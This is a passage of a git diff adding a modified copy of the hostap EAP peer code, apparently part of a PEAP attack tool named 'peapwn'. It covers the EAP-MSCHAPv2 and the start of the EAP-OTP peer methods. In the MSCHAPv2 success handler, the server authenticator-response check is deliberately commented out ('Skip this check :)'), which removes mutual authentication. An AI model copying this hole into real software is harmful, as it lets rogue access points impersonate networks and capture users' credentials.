+#ifdef IEEE8021X_EAPOL + +EapType eap_peer_get_type(const char *name, int *vendor); +const char * eap_get_name(int vendor, EapType type); +size_t eap_get_names(char *buf, size_t buflen); +char ** eap_get_names_as_string_array(size_t *num); +void eap_peer_unregister_methods(void); + +#else /* IEEE8021X_EAPOL */ + +static inline EapType eap_peer_get_type(const char *name, int *vendor) +{ + *vendor = EAP_VENDOR_IETF; + return EAP_TYPE_NONE; +} + +static inline const char * eap_get_name(int vendor, EapType type) +{ + return NULL; +} + +static inline size_t eap_get_names(char *buf, size_t buflen) +{ + return 0; +} + +static inline int eap_peer_register_methods(void) +{ + return 0; +} + +static inline void eap_peer_unregister_methods(void) +{ +} + +static inline char ** eap_get_names_as_string_array(size_t *num) +{ + return NULL; +} + +#endif /* IEEE8021X_EAPOL */ + + +#ifdef CONFIG_DYNAMIC_EAP_METHODS + +int eap_peer_method_load(const char *so); +int eap_peer_method_unload(struct eap_method *method); + +#else /* CONFIG_DYNAMIC_EAP_METHODS */ + +static inline int eap_peer_method_load(const char *so) +{ + return 0; +} + +static inline int eap_peer_method_unload(struct eap_method *method) +{ + return 0; +} + +#endif /* CONFIG_DYNAMIC_EAP_METHODS */ + +/* EAP peer method registration calls for statically linked in methods */ +int eap_peer_md5_register(void); +int eap_peer_tls_register(void); +int eap_peer_unauth_tls_register(void); +int eap_peer_mschapv2_register(void); +int eap_peer_peap_register(void); +int eap_peer_ttls_register(void); +int eap_peer_gtc_register(void); +int eap_peer_otp_register(void); +int eap_peer_sim_register(void); +int eap_peer_leap_register(void); +int eap_peer_psk_register(void); +int eap_peer_aka_register(void); +int eap_peer_aka_prime_register(void); +int eap_peer_fast_register(void); +int eap_peer_pax_register(void); +int eap_peer_sake_register(void); +int eap_peer_gpsk_register(void); +int eap_peer_wsc_register(void); +int eap_peer_ikev2_register(void); +int eap_peer_vendor_test_register(void); +int eap_peer_tnc_register(void); +int eap_peer_pwd_register(void); +int eap_peer_eke_register(void); + +#endif /* EAP_METHODS_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_mschapv2.c b/peapwn/mods/hostap/src/eap_peer/eap_mschapv2.c new file mode 100644 index 000000000..b57ca392b --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_mschapv2.c @@ -0,0 +1,877 @@ +/* + * EAP peer method: EAP-MSCHAPV2 (draft-kamath-pppext-eap-mschapv2-00.txt) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * This file implements EAP peer part of EAP-MSCHAPV2 method (EAP type 26). + * draft-kamath-pppext-eap-mschapv2-00.txt defines the Microsoft EAP CHAP + * Extensions Protocol, Version 2, for mutual authentication and key + * derivation. This encapsulates MS-CHAP-v2 protocol which is defined in + * RFC 2759. Use of EAP-MSCHAPV2 derived keys with MPPE cipher is described in + * RFC 3079. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/ms_funcs.h" +#include "crypto/random.h" +#include "common/wpa_ctrl.h" +#include "mschapv2.h" +#include "eap_i.h" +#include "eap_config.h" + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct eap_mschapv2_hdr { + u8 op_code; /* MSCHAPV2_OP_* */ + u8 mschapv2_id; /* usually same as EAP identifier; must be changed + * for challenges, but not for success/failure */ + u8 ms_length[2]; /* Note: misaligned; length - 5 */ + /* followed by data */ +} STRUCT_PACKED; + +/* Response Data field */ +struct ms_response { + u8 peer_challenge[MSCHAPV2_CHAL_LEN]; + u8 reserved[8]; + u8 nt_response[MSCHAPV2_NT_RESPONSE_LEN]; + u8 flags; +} STRUCT_PACKED; + +/* Change-Password Data field */ +struct ms_change_password { + u8 encr_password[516]; + u8 encr_hash[16]; + u8 peer_challenge[MSCHAPV2_CHAL_LEN]; + u8 reserved[8]; + u8 nt_response[MSCHAPV2_NT_RESPONSE_LEN]; + u8 flags[2]; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +#define MSCHAPV2_OP_CHALLENGE 1 +#define MSCHAPV2_OP_RESPONSE 2 +#define MSCHAPV2_OP_SUCCESS 3 +#define MSCHAPV2_OP_FAILURE 4 +#define MSCHAPV2_OP_CHANGE_PASSWORD 7 + +#define ERROR_RESTRICTED_LOGON_HOURS 646 +#define ERROR_ACCT_DISABLED 647 +#define ERROR_PASSWD_EXPIRED 648 +#define ERROR_NO_DIALIN_PERMISSION 649 +#define ERROR_AUTHENTICATION_FAILURE 691 +#define ERROR_CHANGING_PASSWORD 709 + +#define PASSWD_CHANGE_CHAL_LEN 16 +#define MSCHAPV2_KEY_LEN 16 + + +struct eap_mschapv2_data { + u8 auth_response[MSCHAPV2_AUTH_RESPONSE_LEN]; + int auth_response_valid; + + int prev_error; + u8 passwd_change_challenge[PASSWD_CHANGE_CHAL_LEN]; + int passwd_change_challenge_valid; + int passwd_change_version; + + /* Optional challenge values generated in EAP-FAST Phase 1 negotiation + */ + u8 *peer_challenge; + u8 *auth_challenge; + + int phase2; + u8 master_key[MSCHAPV2_MASTER_KEY_LEN]; + int master_key_valid; + int success; + + struct wpabuf *prev_challenge; +}; + + +static void eap_mschapv2_deinit(struct eap_sm *sm, void *priv); + + +static void * eap_mschapv2_init(struct eap_sm *sm) +{ + struct eap_mschapv2_data *data; + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + if (sm->peer_challenge) { + data->peer_challenge = os_malloc(MSCHAPV2_CHAL_LEN); + if (data->peer_challenge == NULL) { + eap_mschapv2_deinit(sm, data); + return NULL; + } + os_memcpy(data->peer_challenge, sm->peer_challenge, + MSCHAPV2_CHAL_LEN); + } + + if (sm->auth_challenge) { + data->auth_challenge = os_malloc(MSCHAPV2_CHAL_LEN); + if (data->auth_challenge == NULL) { + eap_mschapv2_deinit(sm, data); + return NULL; + } + os_memcpy(data->auth_challenge, sm->auth_challenge, + MSCHAPV2_CHAL_LEN); + } + + data->phase2 = sm->init_phase2; + + return data; +} + + +static void eap_mschapv2_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_mschapv2_data *data = priv; + os_free(data->peer_challenge); + os_free(data->auth_challenge); + wpabuf_free(data->prev_challenge); + os_free(data); +} + + +static struct wpabuf * eap_mschapv2_challenge_reply( + struct eap_sm *sm, struct eap_mschapv2_data *data, u8 id, + u8 mschapv2_id, const u8 *auth_challenge) +{ + struct wpabuf *resp; + struct eap_mschapv2_hdr *ms; + u8 *peer_challenge; + int ms_len; + struct ms_response *r; + size_t identity_len, password_len; + const u8 *identity, *password; + int pwhash; + + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Generating Challenge Response"); + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password2(sm, &password_len, &pwhash); + if (identity == NULL || password == NULL) + return NULL; + + ms_len = sizeof(*ms) + 1 + sizeof(*r) + identity_len; + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, ms_len, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + ms = wpabuf_put(resp, sizeof(*ms)); + ms->op_code = MSCHAPV2_OP_RESPONSE; + ms->mschapv2_id = mschapv2_id; + if (data->prev_error) { + /* + * TODO: this does not seem to be enough when processing two + * or more failure messages. IAS did not increment mschapv2_id + * in its own packets, but it seemed to expect the peer to + * increment this for all packets(?). + */ + ms->mschapv2_id++; + } + WPA_PUT_BE16(ms->ms_length, ms_len); + + wpabuf_put_u8(resp, sizeof(*r)); /* Value-Size */ + + /* Response */ + r = wpabuf_put(resp, sizeof(*r)); + peer_challenge = r->peer_challenge; + if (data->peer_challenge) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: peer_challenge generated " + "in Phase 1"); + peer_challenge = data->peer_challenge; + os_memset(r->peer_challenge, 0, MSCHAPV2_CHAL_LEN); + } else if (random_get_bytes(peer_challenge, MSCHAPV2_CHAL_LEN)) { + wpabuf_free(resp); + return NULL; + } + os_memset(r->reserved, 0, 8); + if (data->auth_challenge) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: auth_challenge generated " + "in Phase 1"); + auth_challenge = data->auth_challenge; + } + + if (mschapv2_derive_response(identity, identity_len, password, + password_len, pwhash, auth_challenge, + peer_challenge, r->nt_response, + data->auth_response, data->master_key)) { + wpa_printf(MSG_ERROR, "EAP-MSCHAPV2: Failed to derive " + "response"); + wpabuf_free(resp); + return NULL; + } + data->auth_response_valid = 1; + data->master_key_valid = 1; + + r->flags = 0; /* reserved, must be zero */ + + wpabuf_put_data(resp, identity, identity_len); + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: TX identifier %d mschapv2_id %d " + "(response)", id, ms->mschapv2_id); + return resp; +} + + +/** + * eap_mschapv2_process - Process an EAP-MSCHAPv2 challenge message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Pointer to private EAP method data from eap_mschapv2_init() + * @ret: Return values from EAP request validation and processing + * @req: Pointer to EAP-MSCHAPv2 header from the request + * @req_len: Length of the EAP-MSCHAPv2 data + * @id: EAP identifier used in the request + * Returns: Pointer to allocated EAP response packet (eapRespData) or %NULL if + * no reply available + */ +static struct wpabuf * eap_mschapv2_challenge( + struct eap_sm *sm, struct eap_mschapv2_data *data, + struct eap_method_ret *ret, const struct eap_mschapv2_hdr *req, + size_t req_len, u8 id) +{ + size_t len, challenge_len; + const u8 *pos, *challenge; + + if (eap_get_config_identity(sm, &len) == NULL || + eap_get_config_password(sm, &len) == NULL) + return NULL; + + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Received challenge"); + if (req_len < sizeof(*req) + 1) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Too short challenge data " + "(len %lu)", (unsigned long) req_len); + ret->ignore = TRUE; + return NULL; + } + pos = (const u8 *) (req + 1); + challenge_len = *pos++; + len = req_len - sizeof(*req) - 1; + if (challenge_len != MSCHAPV2_CHAL_LEN) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Invalid challenge length " + "%lu", (unsigned long) challenge_len); + ret->ignore = TRUE; + return NULL; + } + + if (len < challenge_len) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Too short challenge" + " packet: len=%lu challenge_len=%lu", + (unsigned long) len, (unsigned long) challenge_len); + ret->ignore = TRUE; + return NULL; + } + + if (data->passwd_change_challenge_valid) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Using challenge from the " + "failure message"); + challenge = data->passwd_change_challenge; + } else + challenge = pos; + pos += challenge_len; + len -= challenge_len; + wpa_hexdump_ascii(MSG_DEBUG, "EAP-MSCHAPV2: Authentication Servername", + pos, len); + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + return eap_mschapv2_challenge_reply(sm, data, id, req->mschapv2_id, + challenge); +} + + +static void eap_mschapv2_password_changed(struct eap_sm *sm, + struct eap_mschapv2_data *data) +{ + struct eap_peer_config *config = eap_get_config(sm); + if (config && config->new_password) { + wpa_msg(sm->msg_ctx, MSG_INFO, + WPA_EVENT_PASSWORD_CHANGED + "EAP-MSCHAPV2: Password changed successfully"); + data->prev_error = 0; + os_free(config->password); + if (config->flags & EAP_CONFIG_FLAGS_EXT_PASSWORD) { + /* TODO: update external storage */ + } else if (config->flags & EAP_CONFIG_FLAGS_PASSWORD_NTHASH) { + config->password = os_malloc(16); + config->password_len = 16; + if (config->password) { + nt_password_hash(config->new_password, + config->new_password_len, + config->password); + } + os_free(config->new_password); + } else { + config->password = config->new_password; + config->password_len = config->new_password_len; + } + config->new_password = NULL; + config->new_password_len = 0; + } +} + + +/** + * eap_mschapv2_process - Process an EAP-MSCHAPv2 success message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Pointer to private EAP method data from eap_mschapv2_init() + * @ret: Return values from EAP request validation and processing + * @req: Pointer to EAP-MSCHAPv2 header from the request + * @req_len: Length of the EAP-MSCHAPv2 data + * @id: EAP identifier used in th erequest + * Returns: Pointer to allocated EAP response packet (eapRespData) or %NULL if + * no reply available + */ +static struct wpabuf * eap_mschapv2_success(struct eap_sm *sm, + struct eap_mschapv2_data *data, + struct eap_method_ret *ret, + const struct eap_mschapv2_hdr *req, + size_t req_len, u8 id) +{ + struct wpabuf *resp; + const u8 *pos; + size_t len; + + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Received success"); + len = req_len - sizeof(*req); + pos = (const u8 *) (req + 1); + /*if (!data->auth_response_valid || + mschapv2_verify_auth_response(data->auth_response, pos, len)) { + wpa_printf(MSG_WARNING, "EAP-MSCHAPV2: Invalid authenticator " + "response in success request"); + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + return NULL; + }*/ // Skip this check :). + pos += 2 + 2 * MSCHAPV2_AUTH_RESPONSE_LEN; + len -= 2 + 2 * MSCHAPV2_AUTH_RESPONSE_LEN; + while (len > 0 && *pos == ' ') { + pos++; + len--; + } + wpa_hexdump_ascii(MSG_DEBUG, "EAP-MSCHAPV2: Success message", + pos, len); + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Authentication succeeded"); + + /* Note: Only op_code of the EAP-MSCHAPV2 header is included in success + * message. */ + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, 1, + EAP_CODE_RESPONSE, id); + if (resp == NULL) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Failed to allocate " + "buffer for success response"); + ret->ignore = TRUE; + return NULL; + } + + wpabuf_put_u8(resp, MSCHAPV2_OP_SUCCESS); /* op_code */ + + ret->methodState = METHOD_DONE; + ret->decision = DECISION_UNCOND_SUCC; + ret->allowNotifications = FALSE; + data->success = 1; + + if (data->prev_error == ERROR_PASSWD_EXPIRED) + eap_mschapv2_password_changed(sm, data); + + return resp; +} + + +static int eap_mschapv2_failure_txt(struct eap_sm *sm, + struct eap_mschapv2_data *data, char *txt) +{ + char *pos, *msg = ""; + int retry = 1; + struct eap_peer_config *config = eap_get_config(sm); + + /* For example: + * E=691 R=1 C=<32 octets hex challenge> V=3 M=Authentication Failure + */ + + pos = txt; + + if (pos && os_strncmp(pos, "E=", 2) == 0) { + pos += 2; + data->prev_error = atoi(pos); + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: error %d", + data->prev_error); + pos = os_strchr(pos, ' '); + if (pos) + pos++; + } + + if (pos && os_strncmp(pos, "R=", 2) == 0) { + pos += 2; + retry = atoi(pos); + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: retry is %sallowed", + retry == 1 ? "" : "not "); + pos = os_strchr(pos, ' '); + if (pos) + pos++; + } + + if (pos && os_strncmp(pos, "C=", 2) == 0) { + int hex_len; + pos += 2; + hex_len = os_strchr(pos, ' ') - (char *) pos; + if (hex_len == PASSWD_CHANGE_CHAL_LEN * 2) { + if (hexstr2bin(pos, data->passwd_change_challenge, + PASSWD_CHANGE_CHAL_LEN)) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: invalid " + "failure challenge"); + } else { + wpa_hexdump(MSG_DEBUG, "EAP-MSCHAPV2: failure " + "challenge", + data->passwd_change_challenge, + PASSWD_CHANGE_CHAL_LEN); + data->passwd_change_challenge_valid = 1; + } + } else { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: invalid failure " + "challenge len %d", hex_len); + } + pos = os_strchr(pos, ' '); + if (pos) + pos++; + } else { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: required challenge field " + "was not present in failure message"); + } + + if (pos && os_strncmp(pos, "V=", 2) == 0) { + pos += 2; + data->passwd_change_version = atoi(pos); + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: password changing " + "protocol version %d", data->passwd_change_version); + pos = os_strchr(pos, ' '); + if (pos) + pos++; + } + + if (pos && os_strncmp(pos, "M=", 2) == 0) { + pos += 2; + msg = pos; + } + wpa_msg(sm->msg_ctx, MSG_WARNING, + "EAP-MSCHAPV2: failure message: '%s' (retry %sallowed, error " + "%d)", + msg, retry == 1 ? "" : "not ", data->prev_error); + if (data->prev_error == ERROR_PASSWD_EXPIRED && + data->passwd_change_version == 3 && config) { + if (config->new_password == NULL) { + wpa_msg(sm->msg_ctx, MSG_INFO, + "EAP-MSCHAPV2: Password expired - password " + "change required"); + eap_sm_request_new_password(sm); + } + } else if (retry == 1 && config) { + /* TODO: could prevent the current password from being used + * again at least for some period of time */ + if (!config->mschapv2_retry) + eap_sm_request_identity(sm); + eap_sm_request_password(sm); + config->mschapv2_retry = 1; + } else if (config) { + /* TODO: prevent retries using same username/password */ + config->mschapv2_retry = 0; + } + + return retry == 1; +} + + +static struct wpabuf * eap_mschapv2_change_password( + struct eap_sm *sm, struct eap_mschapv2_data *data, + struct eap_method_ret *ret, const struct eap_mschapv2_hdr *req, u8 id) +{ + struct wpabuf *resp; + int ms_len; + const u8 *username, *password, *new_password; + size_t username_len, password_len, new_password_len; + struct eap_mschapv2_hdr *ms; + struct ms_change_password *cp; + u8 password_hash[16], password_hash_hash[16]; + int pwhash; + + username = eap_get_config_identity(sm, &username_len); + password = eap_get_config_password2(sm, &password_len, &pwhash); + new_password = eap_get_config_new_password(sm, &new_password_len); + if (username == NULL || password == NULL || new_password == NULL) + return NULL; + + username = mschapv2_remove_domain(username, &username_len); + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_COND_SUCC; + ret->allowNotifications = TRUE; + + ms_len = sizeof(*ms) + sizeof(*cp); + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, ms_len, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + ms = wpabuf_put(resp, sizeof(*ms)); + ms->op_code = MSCHAPV2_OP_CHANGE_PASSWORD; + ms->mschapv2_id = req->mschapv2_id + 1; + WPA_PUT_BE16(ms->ms_length, ms_len); + cp = wpabuf_put(resp, sizeof(*cp)); + + /* Encrypted-Password */ + if (pwhash) { + if (encrypt_pw_block_with_password_hash( + new_password, new_password_len, + password, cp->encr_password)) + goto fail; + } else { + if (new_password_encrypted_with_old_nt_password_hash( + new_password, new_password_len, + password, password_len, cp->encr_password)) + goto fail; + } + + /* Encrypted-Hash */ + if (pwhash) { + u8 new_password_hash[16]; + nt_password_hash(new_password, new_password_len, + new_password_hash); + nt_password_hash_encrypted_with_block(password, + new_password_hash, + cp->encr_hash); + } else { + old_nt_password_hash_encrypted_with_new_nt_password_hash( + new_password, new_password_len, + password, password_len, cp->encr_hash); + } + + /* Peer-Challenge */ + if (random_get_bytes(cp->peer_challenge, MSCHAPV2_CHAL_LEN)) + goto fail; + + /* Reserved, must be zero */ + os_memset(cp->reserved, 0, 8); + + /* NT-Response */ + wpa_hexdump(MSG_DEBUG, "EAP-MSCHAPV2: auth_challenge", + data->passwd_change_challenge, PASSWD_CHANGE_CHAL_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-MSCHAPV2: peer_challenge", + cp->peer_challenge, MSCHAPV2_CHAL_LEN); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-MSCHAPV2: username", + username, username_len); + wpa_hexdump_ascii_key(MSG_DEBUG, "EAP-MSCHAPV2: new password", + new_password, new_password_len); + generate_nt_response(data->passwd_change_challenge, cp->peer_challenge, + username, username_len, + new_password, new_password_len, + cp->nt_response); + wpa_hexdump(MSG_DEBUG, "EAP-MSCHAPV2: NT-Response", + cp->nt_response, MSCHAPV2_NT_RESPONSE_LEN); + + /* Authenticator response is not really needed yet, but calculate it + * here so that challenges need not be saved. */ + generate_authenticator_response(new_password, new_password_len, + cp->peer_challenge, + data->passwd_change_challenge, + username, username_len, + cp->nt_response, data->auth_response); + data->auth_response_valid = 1; + + /* Likewise, generate master_key here since we have the needed data + * available. */ + nt_password_hash(new_password, new_password_len, password_hash); + hash_nt_password_hash(password_hash, password_hash_hash); + get_master_key(password_hash_hash, cp->nt_response, data->master_key); + data->master_key_valid = 1; + + /* Flags */ + os_memset(cp->flags, 0, 2); + + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: TX identifier %d mschapv2_id %d " + "(change pw)", id, ms->mschapv2_id); + + return resp; + +fail: + wpabuf_free(resp); + return NULL; +} + + +/** + * eap_mschapv2_process - Process an EAP-MSCHAPv2 failure message + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @data: Pointer to private EAP method data from eap_mschapv2_init() + * @ret: Return values from EAP request validation and processing + * @req: Pointer to EAP-MSCHAPv2 header from the request + * @req_len: Length of the EAP-MSCHAPv2 data + * @id: EAP identifier used in th erequest + * Returns: Pointer to allocated EAP response packet (eapRespData) or %NULL if + * no reply available + */ +static struct wpabuf * eap_mschapv2_failure(struct eap_sm *sm, + struct eap_mschapv2_data *data, + struct eap_method_ret *ret, + const struct eap_mschapv2_hdr *req, + size_t req_len, u8 id) +{ + struct wpabuf *resp; + const u8 *msdata = (const u8 *) (req + 1); + char *buf; + size_t len = req_len - sizeof(*req); + int retry = 0; + + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Received failure"); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-MSCHAPV2: Failure data", + msdata, len); + /* + * eap_mschapv2_failure_txt() expects a nul terminated string, so we + * must allocate a large enough temporary buffer to create that since + * the received message does not include nul termination. + */ + buf = dup_binstr(msdata, len); + if (buf) { + retry = eap_mschapv2_failure_txt(sm, data, buf); + os_free(buf); + } + + ret->ignore = FALSE; + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + ret->allowNotifications = FALSE; + + if (data->prev_error == ERROR_PASSWD_EXPIRED && + data->passwd_change_version == 3) { + struct eap_peer_config *config = eap_get_config(sm); + if (config && config->new_password) + return eap_mschapv2_change_password(sm, data, ret, req, + id); + if (config && config->pending_req_new_password) + return NULL; + } else if (retry && data->prev_error == ERROR_AUTHENTICATION_FAILURE) { + /* TODO: could try to retry authentication, e.g, after having + * changed the username/password. In this case, EAP MS-CHAP-v2 + * Failure Response would not be sent here. */ + return NULL; + } + + /* Note: Only op_code of the EAP-MSCHAPV2 header is included in failure + * message. */ + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, 1, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, MSCHAPV2_OP_FAILURE); /* op_code */ + + return resp; +} + + +static int eap_mschapv2_check_config(struct eap_sm *sm) +{ + size_t len; + + if (eap_get_config_identity(sm, &len) == NULL) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Identity not configured"); + eap_sm_request_identity(sm); + return -1; + } + + if (eap_get_config_password(sm, &len) == NULL) { + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Password not configured"); + eap_sm_request_password(sm); + return -1; + } + + return 0; +} + + +static int eap_mschapv2_check_mslen(struct eap_sm *sm, size_t len, + const struct eap_mschapv2_hdr *ms) +{ + size_t ms_len = WPA_GET_BE16(ms->ms_length); + + if (ms_len == len) + return 0; + + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Invalid header: len=%lu " + "ms_len=%lu", (unsigned long) len, (unsigned long) ms_len); + if (sm->workaround) { + /* Some authentication servers use invalid ms_len, + * ignore it for interoperability. */ + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: workaround, ignore" + " invalid ms_len %lu (len %lu)", + (unsigned long) ms_len, + (unsigned long) len); + return 0; + } + + return -1; +} + + +static void eap_mschapv2_copy_challenge(struct eap_mschapv2_data *data, + const struct wpabuf *reqData) +{ + /* + * Store a copy of the challenge message, so that it can be processed + * again in case retry is allowed after a possible failure. + */ + wpabuf_free(data->prev_challenge); + data->prev_challenge = wpabuf_dup(reqData); +} + + +/** + * eap_mschapv2_process - Process an EAP-MSCHAPv2 request + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @priv: Pointer to private EAP method data from eap_mschapv2_init() + * @ret: Return values from EAP request validation and processing + * @reqData: EAP request to be processed (eapReqData) + * Returns: Pointer to allocated EAP response packet (eapRespData) or %NULL if + * no reply available + */ +static struct wpabuf * eap_mschapv2_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_mschapv2_data *data = priv; + struct eap_peer_config *config = eap_get_config(sm); + const struct eap_mschapv2_hdr *ms; + int using_prev_challenge = 0; + const u8 *pos; + size_t len; + u8 id; + + if (eap_mschapv2_check_config(sm)) { + ret->ignore = TRUE; + return NULL; + } + + if (config->mschapv2_retry && data->prev_challenge && + data->prev_error == ERROR_AUTHENTICATION_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: Replacing pending packet " + "with the previous challenge"); + + reqData = data->prev_challenge; + using_prev_challenge = 1; + config->mschapv2_retry = 0; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, reqData, + &len); + if (pos == NULL || len < sizeof(*ms) + 1) { + ret->ignore = TRUE; + return NULL; + } + + ms = (const struct eap_mschapv2_hdr *) pos; + if (eap_mschapv2_check_mslen(sm, len, ms)) { + ret->ignore = TRUE; + return NULL; + } + + id = eap_get_id(reqData); + wpa_printf(MSG_DEBUG, "EAP-MSCHAPV2: RX identifier %d mschapv2_id %d", + id, ms->mschapv2_id); + + switch (ms->op_code) { + case MSCHAPV2_OP_CHALLENGE: + if (!using_prev_challenge) + eap_mschapv2_copy_challenge(data, reqData); + return eap_mschapv2_challenge(sm, data, ret, ms, len, id); + case MSCHAPV2_OP_SUCCESS: + return eap_mschapv2_success(sm, data, ret, ms, len, id); + case MSCHAPV2_OP_FAILURE: + return eap_mschapv2_failure(sm, data, ret, ms, len, id); + default: + wpa_printf(MSG_INFO, "EAP-MSCHAPV2: Unknown op %d - ignored", + ms->op_code); + ret->ignore = TRUE; + return NULL; + } +} + + +static Boolean eap_mschapv2_isKeyAvailable(struct eap_sm *sm, void *priv) +{ + struct eap_mschapv2_data *data = priv; + return data->success && data->master_key_valid; +} + + +static u8 * eap_mschapv2_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_mschapv2_data *data = priv; + u8 *key; + int key_len; + + if (!data->master_key_valid || !data->success) + return NULL; + + key_len = 2 * MSCHAPV2_KEY_LEN; + + key = os_malloc(key_len); + if (key == NULL) + return NULL; + + /* MSK = server MS-MPPE-Recv-Key | MS-MPPE-Send-Key, i.e., + * peer MS-MPPE-Send-Key | MS-MPPE-Recv-Key */ + get_asymetric_start_key(data->master_key, key, MSCHAPV2_KEY_LEN, 1, 0); + get_asymetric_start_key(data->master_key, key + MSCHAPV2_KEY_LEN, + MSCHAPV2_KEY_LEN, 0, 0); + + wpa_hexdump_key(MSG_DEBUG, "EAP-MSCHAPV2: Derived key", + key, key_len); + + *len = key_len; + return key; +} + + +/** + * eap_peer_mschapv2_register - Register EAP-MSCHAPv2 peer method + * Returns: 0 on success, -1 on failure + * + * This function is used to register EAP-MSCHAPv2 peer method into the EAP + * method list. + */ +int eap_peer_mschapv2_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_peer_method_alloc(EAP_PEER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, + "MSCHAPV2"); + if (eap == NULL) + return -1; + + eap->init = eap_mschapv2_init; + eap->deinit = eap_mschapv2_deinit; + eap->process = eap_mschapv2_process; + eap->isKeyAvailable = eap_mschapv2_isKeyAvailable; + eap->getKey = eap_mschapv2_getKey; + + ret = eap_peer_method_register(eap); + if (ret) + eap_peer_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_otp.c b/peapwn/mods/hostap/src/eap_peer/eap_otp.c new file mode 100644 index 000000000..9ac744a7d --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_otp.c @@ -0,0 +1,101 @@ +/* + * EAP peer method: EAP-OTP (RFC 3748) + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eap_i.h" + + +static void * eap_otp_init(struct eap_sm *sm) +{ + /* No need for private data. However, must return non-NULL to indicate + * success. */ + return (void *) 1; +} + + +static void eap_otp_deinit(struct eap_sm *sm, void *priv) +{ +} + + +static struct wpabuf * eap_otp_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct wpabuf *resp; + const u8 *pos, *password; + size_t password_len, len; + int otp; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_OTP, reqData, &len); + if (pos == NULL) { + ret->ignore = TRUE; + return NULL; + } + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-OTP: Request message", + pos, len); + + password = eap_get_config_otp(sm, &password_len); + if (password) + otp = 1; + else { + password = eap_get_config_password(sm, &password_len); + otp = 0; + } + + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-OTP: Password not configured"); + eap_sm_request_otp(sm, (const char *) pos, len); + ret->ignore = TRUE; + return NULL; + } + + ret->ignore = FALSE; + + ret->methodState = METHOD_DONE; + ret->decision = DECISION_COND_SUCC; + ret->allowNotifications = FALSE; + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_OTP, password_len, + EAP_CODE_RESPONSE, eap_get_id(reqData)); + if (resp == NULL) + return NULL; + wpabuf_put_data(resp, password, password_len); + wpa_hexdump_ascii_key(MSG_MSGDUMP, "EAP-OTP: Response", + password, password_len); + + if (otp) { + wpa_printf(MSG_DEBUG, "EAP-OTP: Forgetting used password"); + eap_clear_config_otp(sm); + } + + return resp; +} + + +int eap_peer_otp_register(void) +{ + struct eap_method *eap; + int ret; + + eap = 